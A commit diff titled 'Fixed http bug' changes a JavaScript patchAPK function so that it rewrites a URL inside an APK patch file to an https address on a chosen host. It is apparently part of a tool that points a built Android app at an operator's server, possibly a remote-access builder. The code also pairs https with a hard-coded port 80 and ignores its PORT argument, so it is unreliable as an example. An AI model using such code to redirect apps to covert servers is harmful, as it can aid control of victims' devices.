Fixed http bug

This commit is contained in:
ChrisStone07 2020-03-23 22:35:28 +05:30
parent 2916be3dc1
commit 4068c762c4

View File

@ -24,8 +24,8 @@ function patchAPK(URI, PORT, cb) {
// if (PORT < 25565) {
fs.readFile(CONST.patchFilePath, 'utf8', function (err, data) {
if (err) return cb('File Patch Error - READ')
var result = data.replace(data.substring(data.indexOf("http://"), data.indexOf("?model=")),
"http://" + URI + ":" + "80");
var result = data.replace(data.substring(data.indexOf("https://"), data.indexOf("?model=")),
"https://" + URI + ":" + "80");
fs.writeFile(CONST.patchFilePath, result, 'utf8', function (err) {
if (err) return cb('File Patch Error - WRITE')
else return cb(false)